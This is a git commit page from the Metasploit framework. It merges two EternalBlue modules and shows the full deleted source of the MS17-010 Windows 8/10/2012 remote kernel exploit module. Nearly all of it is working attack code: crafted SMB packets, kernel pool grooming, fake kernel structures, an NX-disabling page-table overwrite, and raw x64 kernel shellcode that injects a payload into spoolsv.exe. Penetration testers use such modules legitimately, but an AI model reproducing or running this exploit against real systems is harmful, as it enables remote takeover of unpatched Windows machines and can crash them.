combine both verseions of eb into a single module

This commit is contained in:
A Galway 2021-05-18 16:13:36 +01:00
parent 88e64fcfae
commit ccf5c36c44
No known key found for this signature in database
GPG Key ID: 5A35289C228D5BC0
3 changed files with 1008 additions and 1109 deletions

View File

@ -88,6 +88,7 @@ class MetasploitModule < Msf::Auxiliary
vprint_status("Received #{status} with FID = 0")
os = simple.client.peer_native_os.dup
details[:os] = simple.client.peer_native_os.dup
if status == 'STATUS_INSUFF_SERVER_RESOURCES'
if datastore['CHECK_ARCH']
case dcerpc_getarch
@ -167,7 +168,7 @@ class MetasploitModule < Msf::Auxiliary
rescue ::Rex::Proto::SMB::Exceptions::LoginError
print_error("An SMB Login Error occurred while connecting to the IPC$ tree.")
rescue ::Exception => e
vprint_error("#{e.class}: #{e.message}")
print_error("#{e.class}: #{e.message}")
ensure
disconnect
end

File diff suppressed because it is too large Load Diff

View File

@ -1,959 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'ruby_smb'
require 'ruby_smb/smb1/packet'
require 'rubyntlm'
require 'net/ntlm'
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
MAX_SHELLCODE_SIZE = 3712
# debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
# The 0xffffffffffd00000 address should be useable when debug mode is not enabled
# The 0xffffffffffd01000 address should be useable when debug mode is enabled
TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000
NTLM_FLAGS = Net::NTLM::FLAGS[:KEY56] +
Net::NTLM::FLAGS[:KEY128] +
Net::NTLM::FLAGS[:TARGET_INFO] +
Net::NTLM::FLAGS[:NTLM2_KEY] +
Net::NTLM::FLAGS[:NTLM] +
Net::NTLM::FLAGS[:REQUEST_TARGET] +
Net::NTLM::FLAGS[:UNICODE]
NTFEA_9000 = (([0, 0, 0].pack('CCS<') + "\x00") * 0x260 + # with these fea, ntfea size is 0x1c80
[0, 0, 0x735c].pack('CCS<') + "\x00" * 0x735d + # 0x8fe8 - 0x1c80 - 0xc = 0x735c
[0, 0, 0x8147].pack('CCS<') + "\x00" * 0x8148) # overflow to SRVNET_BUFFER_HDR
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
include Msf::Exploit::Remote::Tcp
# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00e00
# offset 0x50: KSPIN_LOCK
# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.
# offset 0x110: array of pointer to function
# offset 0x13c: set to 3 (DWORD) for invoking ptr to function
# some useful offset
# offset 0x120: arg1 when invoking ptr to function
# offset 0x128: arg2 when invoking ptr to function
#
# code path to get code exception after this struct is controlled
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
def fake_recv_struct
struct = "\x00" * 80
struct << [0, TARGET_HAL_HEAP_ADDR + 0x58].pack('QQ<')
struct << [TARGET_HAL_HEAP_ADDR + 0x58, 0].pack('QQ<') # offset 0x60
struct << ("\x00" * 16) * 10
struct << [TARGET_HAL_HEAP_ADDR + 0x170, 0].pack('QQ<') # offset 0x110: fn_ptr array
struct << [(0x8150 ^ 0xffffffffffffffff) + 1, 0].pack('QQ<') # set arg1 to -0x8150
struct << [0, 0, 3].pack('QII<') # offset 0x130
struct << ("\x00" * 16) * 3
struct << [0, TARGET_HAL_HEAP_ADDR + 0x180].pack('QQ<') # shellcode address
struct
end
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+',
'Description' => %q{
EternalBlue exploit for Windows 8, Windows 10, and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
The exploit support only x64 target
Tested on:
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 10 Pro Build 10240 x64
- Windows 10 Enterprise Evaluation Build 10586 x64
Default Windows 8 and later installation without additional service info:
- anonymous is not allowed to access any share (including IPC$)
- More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows
- tcp port 445 is filtered by firewall
Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit
Exploit info:
- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
- The exploit is likely to crash a target when it failed
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'GroomAllocations' value (at least 5)
- See the code and comment for exploit detail.
Disable NX method:
- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
- The exploit is also the same but we need to trigger bug twice
- First trigger, set MDL.MappedSystemVa to target pte address
- Write '\x00' to disable the NX flag
- Second trigger, do the same as Windows 7 exploit
- From my test, if exploit disable NX successfully, I always get code execution
},
'Author' =>
[
'Equation Group', # OG research and exploit
'Shadow Brokers', # Hack and dump
'sleepya', # Research and PoC
'wvu', # Babby's first external module
'agalway-r7', # External python module to internal ruby module (sorry wvu)
'cdelafuente-r7', # ruby_smb wizard
'cdelafuente-r7' # kernel debugging wizard
],
'References' =>
[
['MSB', 'MS17-010'],
['CVE', '2017-0143'],
['CVE', '2017-0144'],
['CVE', '2017-0145'],
['CVE', '2017-0146'],
['CVE', '2017-0147'],
['CVE', '2017-0148'],
['EDB', '42030'],
['URL', 'https://github.com/worawit/MS17-010']
],
'Date' => 'Mar 14 2017',
'Privileged' => true,
'DefaultOptions' =>
{
'wfsdelay' => 3
},
'Targets' =>
[
[
'Windows 8.1, Windows 2012, Windows 10 Pro Build Server 2008 R2, and Windows 10 Enterprise Evaluation Build',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'os_patterns' => ['Windows 2012', 'Windows 8.1', 'Windows 10 Pro Build', 'Windows 10 Enterprise Evaluation Build']
}
]
],
'Notes' => {
'AKA' => ['ETERNALBLUE']
},
'DisclosureDate' => '2017-03-14'
)
)
register_options(
[
Opt::RPORT(445),
OptString.new('SMBUser', [false, '(Optional) The username to authenticate as', '']),
OptString.new('SMBPass', [false, '(Optional) The password for the specified username', ''])
]
)
register_advanced_options(
[
OptString.new('ProcessName', [false, 'Process to inject payload into.', 'spoolsv.exe']),
OptInt.new('GroomAllocations', [true, 'Initial number of times to groom the kernel pool.', 12])
]
)
end
def smb1_connect_ipc(negotiate_only: false, session_setup_packet: nil, session_setup_auth_packet: nil)
begin
sock = Rex::Socket::Tcp.create(
'PeerHost' => rhost,
'PeerPort' => rport,
'Proxies' => proxies,
'Context' => {
'Msf' => framework,
'MsfExploit' => self
}
)
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
client = CustomSessionSetupPacketRubySMBClient.new(dispatcher, smb1: true, smb2: false, smb3: false,
username: smb_user, domain: smb_domain, password: smb_pass,
ntlm_flags: NTLM_FLAGS)
if negotiate_only
client.negotiate
return client, nil, sock
else
response_code = client.login(ntlm_flags: NTLM_FLAGS,
session_setup_packet: session_setup_packet,
session_setup_auth_packet: session_setup_auth_packet)
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}"
end
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
end
return client, tree, sock
rescue StandardError => e
print_error("Could not make SMBv1 connection. #{e.class} error raised with message '#{e.message}'")
elog('Could not make SMBv1 connection', error: e)
# for an as of yet undetermined reason, a connection can sometimes be created after an error during an anonymous
# login.
if client
client.disconnect!
end
raise e
end
end
def send_trans2_second(conn, tid, pid, data, displacement)
pkt = RubySMB::SMB1::Packet::Trans2::RequestSecondary.new
pkt.smb_header.tid = tid
pkt.smb_header.pid_low = pid
pkt.parameter_block.total_parameter_count = 0
pkt.parameter_block.total_data_count = data.length
fixed_offset = 32 + 3 + 18
pkt.data_block.pad1 = ''
pkt.parameter_block.parameter_count = 0
pkt.parameter_block.parameter_offset = 0
if !data.empty?
pad_len = (4 - fixed_offset % 4) % 4
if pad_len == 0
pkt.data_block.pad1 = ''
elsif pad_len == 3
pkt.data_block.pad1 = "\x00" * 2
pkt.data_block.pad1 = "\x00"
else
pkt.data_block.pad1 = "\x00" * pad_len
end
else
pkt.data_block.pad1 = ''
pad_len = 0
end
pkt.parameter_block.data_count = data.length
pkt.parameter_block.data_offset = fixed_offset + pad_len
pkt.parameter_block.data_displacement = displacement
pkt.data_block.trans2_parameters = ''
pkt.data_block.trans2_data = data
pkt.smb_header.flags2.extended_security = 1
pkt.smb_header.flags2.paging_io = 0
pkt.smb_header.flags2.unicode = 0
pkt.smb_header.uid = BinData::Bit16le.read(BinData::Bit16.new(2048).to_binary_s)
conn.send_packet(pkt)
end
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool on target
def create_connection_with_big_smb_first_80(for_nx: false)
sock = connect(false)
pkt = "\x00".b + "\x00".b + [0x8100].pack('S>')
# There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
# pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid
pkt += "\x01\x02\x03\x04"
if for_nx
# MUST set no delay because 1 byte MUST be sent immediately
sock.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
pkt += "\x00" * 0x7b # another byte will be sent later to disabling NX
else
pkt += "\x00" * 0x7c
end
sock.send(pkt, 0)
sock
end
def send_big_trans2(conn, tid, pid, setup, data, param)
first_data_fragment_size = data.length % 4096
pkt = RubySMB::SMB1::Packet::NtTrans::Request.new
pkt.smb_header.tid = tid
pkt.smb_header.pid_low = pid
command = [setup].pack('S<')
pkt.parameter_block.max_setup_count = 1
pkt.parameter_block.max_parameter_count = param.length
pkt.parameter_block.max_data_count = 0
pkt.parameter_block.setup << 0x0000
pkt.parameter_block.total_parameter_count = param.length
pkt.parameter_block.total_data_count = data.length
fixed_offset = 32 + 3 + 38 + command.length
if !param.empty?
pad_len = (4 - fixed_offset % 4) % 4
pad_bytes = "\x00" * pad_len
pkt.data_block.pad1 = pad_bytes
else
pkt.data_block.pad1 = ''
pad_len = 0
end
pkt.parameter_block.parameter_count = param.length
pkt.parameter_block.parameter_offset = fixed_offset + pad_len
if !data.empty?
pad_len = (4 - (fixed_offset + pad_len + param.length) % 4) % 4
pkt.data_block.pad2 = "\x00" * pad_len
else
pkt.data_block.pad2 = ''
pad_len = 0
end
pkt.parameter_block.data_count = first_data_fragment_size
pkt.parameter_block.data_offset = pkt.parameter_block.parameter_offset + param.length + pad_len
pkt.data_block.trans2_parameters = param
pkt.data_block.trans2_data = data.first(first_data_fragment_size)
pkt.smb_header.flags2.paging_io = 0
pkt.smb_header.flags2.extended_security = 1
recv_pkt = RubySMB::SMB1::Packet::NtTrans::Response.read(conn.send_recv(pkt))
if recv_pkt.status_code.value == 0
print_good('got good NT Trans response')
else
print_error("got bad NT Trans response: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")
return nil
end
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
size_of_data_to_be_sent = first_data_fragment_size
while size_of_data_to_be_sent < data.length
send_size = [4096, data.length - size_of_data_to_be_sent].min
if data.length - size_of_data_to_be_sent <= 4096
break
end
send_trans2_second(conn, tid, pid, data[size_of_data_to_be_sent...(size_of_data_to_be_sent + send_size)],
size_of_data_to_be_sent)
size_of_data_to_be_sent += send_size
end
size_of_data_to_be_sent
end
def _exploit(fea_list, shellcode, num_groom_conn, username, password)
session_setup_packet = default_session_setup_request
session_setup_auth_packet = default_session_setup_request
conn, tree, sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,
session_setup_auth_packet: session_setup_auth_packet)
pid = conn.pid
os = conn.peer_native_os
print_status("Target OS: #{os}")
if os.start_with?('Windows 10')
build = os.split.last.to_i
if build >= 14393 # version 1607
print_status('This exploit does not support this build')
return
end
elsif !(os.start_with?('Windows 8') || os.start_with?('Windows Server 2012'))
print_status('This exploit does not support this target:')
return
end
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send TRANS2_OPEN2 (0) with special fea_list to a target exce
progress = send_big_trans2(conn, tree.id, pid, 0, fea_list, "\x00" * 30)
if progress.nil?
conn.disconnect!
return
end
fea_list_nx = generate_fea_list_nx
session_setup_packet = default_session_setup_request
session_setup_packet.parameter_block.vc_number = 1
session_setup_auth_packet = default_session_setup_request
session_setup_auth_packet.parameter_block.max_mpx_count = 2
session_setup_auth_packet.parameter_block.vc_number = 1
nx_conn, nx_tree, nx_sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,
session_setup_auth_packet: session_setup_auth_packet)
# Another TRANS2_OPEN2 (0) with special fea_list for disabling NX
nx_progress = send_big_trans2(nx_conn, nx_tree.id, pid, 0, fea_list_nx, "\x00" * 30)
if nx_progress.nil?
conn.disconnect!
nx_conn.disconnect!
return
end
# create some big buffer at servereternal
# this buffer MUST NOT be big enough for overflown buffer
alloc_conn, alloc_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x2010, username, password, pid)
if alloc_conn.nil?
return
end
# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnet_conn = []
num_groom_conn.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }
# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
hole_conn, hole_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x10, username, password, pid)
if hole_conn.nil?
return
end
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
alloc_sock.close
# hope one of srvnet_conn is next to holeConn
5.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }
# remove holeConn to create hole for fea buffer
hole_sock.close
# send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header
# first trigger, overwrite srvnet buffer struct for disabling NX
send_trans2_second(nx_conn, nx_tree.id, pid, fea_list_nx[nx_progress, fea_list_nx.length], nx_progress)
recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(nx_conn.recv_packet)
if recv_pkt.status_code.value == 0xc000000d
print_good('good response status for nx: INVALID_PARAMETER')
else
print_error("bad response status for nx: #{recv_pkt.status_code.value}")
end
# one of srvnet_conn struct header should be modified
# send '\x00' to disable nx
srvnet_conn.each { |sk| sk.send("\x00", 0) }
# send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header
# second trigger, place fake struct and shellcode
send_trans2_second(conn, tree.id, pid, fea_list[progress, fea_list.length], progress)
recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(conn.recv_packet)
if recv_pkt.status_code.value == 0xc000000d
print_good('good response status for nx: INVALID_PARAMETER')
else
print_error("bad response status for nx: #{recv_pkt.status_code.value}")
end
# one of srvnet_conn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
srvnet_conn.each { |sk| sk.send(fake_recv_struct + shellcode, 0) }
# execute shellcode, at this point the shellcode should be located at ffffffff`ffd04180
srvnet_conn.each(&:close)
nx_tree.disconnect!
nx_conn.disconnect!
nx_sock.close
tree.disconnect!
conn.disconnect!
sock.close
end
def generate_process_hash(process)
# calc_hash from eternalblue_kshellcode_x64.asm
proc_hash = 0
(process + "\x00").split('').each do |c|
proc_hash = ror(proc_hash, 13)
proc_hash += c.ord
end
[proc_hash].pack('I<')
end
def ror(dword, bits)
return (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
end
def eternalblue_kshellcode_x64(process = 'spoolsv.exe')
proc_hash = generate_process_hash(process)
return (
"\x55\xe8\x2e\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d" \
"\x0d\x34\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a" \
"\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48" \
"\xc1\xea\x20\x0f\x30\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48" \
"\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8" \
"\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8" \
"\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50" \
"\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48" \
"\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31" \
"\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0" \
"\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa" \
"\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57" \
"\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49" \
"\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d" \
"\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00" \
"\x00\xbf\x78\x7c\xf4\xdb\xe8\x01\x01\x00\x00\x48\x91\xbf\x3f" \
"\x5f\x64\x77\xe8\xfc\x00\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00" \
"\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04" \
"\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00" \
"\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6" \
"\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78" \
"\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d" +
proc_hash + "\x74\x10\x3d" + proc_hash + "\x74\x09\x48\x8b\x0c" \
"\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00" \
"\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b" \
"\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce" \
"\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74" \
"\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00\x00" \
"\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d" \
"\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46" \
"\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3" \
"\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89" \
"\x40\x08\xeb\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02" \
"\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84" \
"\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20" \
"\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00" \
"\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c" \
"\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59" \
"\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75" \
"\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b" \
"\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89" \
"\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06" \
"\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65" \
"\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48" \
"\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b" \
"\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83" \
"\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32" \
"\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff" \
"\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22" \
"\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49" \
"\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20" \
"\xff\xd0\x48\x83\xc4\x30\xc3"
)
end
def create_fea_list(sc_size)
fea_list = [0x10000].pack('I<')
fea_list += NTFEA_9000
fake_srv_net_buf = create_fake_srv_net_buffer(sc_size)
fea_list += [0, 0, fake_srv_net_buf.length - 1].pack('CCS<') + fake_srv_net_buf # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
fea_list += [0x12, 0x34, 0x5678].pack('CCS<')
return fea_list
end
def create_fake_srv_net_buffer(sc_size)
# 0x180 is size of fakeSrvNetBufferX64
total_recv_size = 0x80 + 0x180 + sc_size
fake_srv_net_buffer_x64 = "\x00" * 16
fake_srv_net_buffer_x64 += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<') # flag, _, _, pNetRawBuffer
fake_srv_net_buffer_x64 += [0, 0x82e8, 0].pack('QII<') # _, thisNonPagedPoolSize, _
fake_srv_net_buffer_x64 += "\x00" * 16
fake_srv_net_buffer_x64 += [0, total_recv_size].pack('QQ<') # offset 0x40
fake_srv_net_buffer_x64 += [TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR].pack('<QQ') # pmdl2, pointer to fake struct
fake_srv_net_buffer_x64 += [0, 0].pack('QQ<')
fake_srv_net_buffer_x64 += "\x00" * 16
fake_srv_net_buffer_x64 += "\x00" * 16
fake_srv_net_buffer_x64 += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags
fake_srv_net_buffer_x64 += [0, TARGET_HAL_HEAP_ADDR - 0x80].pack('QQ<') # MDL.Process, MDL.MappedSystemVa
return fake_srv_net_buffer_x64
end
def exploit
num_groom_conn = datastore['GroomAllocations'].to_i
smbuser = datastore.keys.include?('SMBUser') ? datastore['SMBUser'] : ''
smbpass = datastore.keys.include?('SMBPass') ? datastore['SMBPass'] : ''
payload_encoded = payload.encoded
sc = eternalblue_kshellcode_x64(datastore['ProcessName']) + payload_encoded
if sc.length > MAX_SHELLCODE_SIZE
print_error("Shellcode too long. The place that this exploit put a shellcode is limited to #{MAX_SHELLCODE_SIZE} bytes.")
return
end
fea_list = create_fea_list(sc.length)
print_status("shellcode size: #{sc.length}")
print_status("numGroomConn: #{num_groom_conn}")
begin
_exploit(fea_list, sc, num_groom_conn, smbuser, smbpass)
rescue StandardError => e
print_error("Exploit failed with the following error: #{e.message}")
elog('Error encountered with eternalblue_win8', error: e)
return false
end
end
def create_session_alloc_non_paged(size, username, password, pid)
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
pkt = SessionSetupSMB1RequestWithPoorlyFormedDataBlock.new
anon_conn, _anon_tree, anon_sock = smb1_connect_ipc(negotiate_only: true)
pkt.smb_header.pid_low = pid
if size >= 65535 # 0xffff
pkt.data_block.security_blob = [(size / 2).floor].pack('S<') + "\x00" * 20
pkt.smb_header.flags2.unicode = 0
else
pkt.data_block.security_blob = [size].pack('S<') + "\x00" * 20
pkt.smb_header.flags2.unicode = 1
end
pkt.smb_header.flags2.extended_security = 0
pkt.smb_header.flags2.nt_status = 1
pkt.smb_header.flags2.paging_io = 0
pkt.parameter_block.max_buffer_size = 61440 # can be any value greater than response size
pkt.parameter_block.max_mpx_count = 2 # can by any value
pkt.parameter_block.vc_number = 2 # any non-zero
pkt.parameter_block.session_key = 0
pkt.parameter_block.security_blob_length = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
pkt.parameter_block.capabilities.each_pair do |k, _v|
if k == :nt_status || k == :extended_security
pkt.parameter_block.capabilities[k] = 1
else
pkt.parameter_block.capabilities[k] = 0
end
end
recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(anon_conn.send_recv(pkt))
if recv_pkt.status_code.value == 0
print_good('SMB1 session setup allocate nonpaged pool success')
return anon_conn, anon_sock
end
anon_conn.disconnect!
unless username.empty?
# Try login with valid user because anonymous user might get access denied on Windows Server 2012.
# Note: If target allows only NTLMv2 authentication, the login will always fail.
# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
req_size = (size / 2).floor
pkt.smb_header.flags2.unicode = 0
auth_conn, _auth_tree, auth_sock = smb1_connect_ipc(negotiate_only: true)
pkt.smb_header.pid_low = pid
# challenge_packet = conn.smb1_ntlmssp_challenge_packet(conn.smb1_ntlmssp_negotiate)
# type2_b64_message = conn.smb1_type2_message(challenge_packet)
# server_challenge = response_packet.data_block.server_guid[0, 8]
server_challenge = auth_conn.server_guid[0, 8]
pwd_unicode = NTLM_CRYPT.ntlm_md4(password, server_challenge)
pkt.parameter_block.reserved = pwd_unicode.length
pkt.data_block.security_blob = [req_size + pwd_unicode.length + username.length].pack('S<') + pwd_unicode + username + "\x00" * 16
recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(auth_conn.send_recv(pkt))
if recv_pkt.status_code.value == 0
print_good('SMB1 session setup allocate nonpaged pool success')
return auth_conn, auth_sock
end
auth_conn.disconnect!
end
print_error("SMB1 session setup allocate nonpaged pool failed: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")
return nil
end
def generate_fea_list_nx
# fea_list for disabling NX is possible because we just want to change only MDL.MappedSystemVa
# PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
# NX bit is at PTE_ADDR+7
# MappedSystemVa = PTE_ADDR+7 - 0x7f
shellcode_page_addr = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
pte_addr = 0xfffff6ffffffe800 + 8 * ((shellcode_page_addr - 0xffffffffffd00000) >> 12)
fake_srv_net_buffer_x64nx = "\x00" * 16
fake_srv_net_buffer_x64nx += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<')
fake_srv_net_buffer_x64nx += "\x00" * 16
fake_srv_net_buffer_x64nx += "\x00" * 16
fake_srv_net_buffer_x64nx += [0, 0].pack('QQ<')
fake_srv_net_buffer_x64nx += [0, TARGET_HAL_HEAP_ADDR].pack('QQ<') # _, _, pointer to fake struct
fake_srv_net_buffer_x64nx += [0, 0,].pack('QQ<')
fake_srv_net_buffer_x64nx += "\x00" * 16
fake_srv_net_buffer_x64nx += "\x00" * 16
fake_srv_net_buffer_x64nx += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags
fake_srv_net_buffer_x64nx += [0, pte_addr + 7 - 0x7f].pack('QQ<') # MDL.Process, MDL.MappedSystemVa
fea_list_nx = [0x10000].pack('I<')
fea_list_nx += NTFEA_9000
fea_list_nx += [0, 0, fake_srv_net_buffer_x64nx.length - 1].pack('CCS<') + fake_srv_net_buffer_x64nx # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
fea_list_nx += [0x12, 0x34, 0x5678].pack('CCS<')
fea_list_nx
end
def default_session_setup_request
p = RubySMB::SMB1::Packet::SessionSetupRequest.new
p.parameter_block.max_buffer_size = 61440
p.parameter_block.max_mpx_count = 50
p.smb_header.flags2.extended_security = 1
p
end
# Returns the value to be passed to SMB clients for
# the password. If the user has not supplied a password
# it returns an empty string to trigger an anonymous
# logon.
#
# @return [String] the password value
def smb_pass
if datastore['SMBPass'].present?
datastore['SMBPass']
else
''
end
end
# Returns the value to be passed to SMB clients for
# the username. If the user has not supplied a username
# it returns an empty string to trigger an anonymous
# logon.
#
# @return [String] the username value
def smb_user
if datastore['SMBUser'].present?
datastore['SMBUser']
else
''
end
end
# Returns the value to be passed to SMB clients for
# the domain. If the user has not supplied a domain
# it returns an empty string to trigger an anonymous
# logon.
#
# @return [String] the domain value
def smb_domain
if datastore['SMBDomain'].present?
datastore['SMBDomain']
else
''
end
end
class SessionSetupSMB1RequestWithPoorlyFormedDataBlock < RubySMB::GenericPacket
COMMAND = RubySMB::SMB1::Commands::SMB_COM_SESSION_SETUP_ANDX
class ParameterBlock < RubySMB::SMB1::Packet::SessionSetupRequest::ParameterBlock
end
class DataBlock < RubySMB::SMB1::DataBlock
# Key difference for this class is that the length of security_blob is NOT dictated by the value of
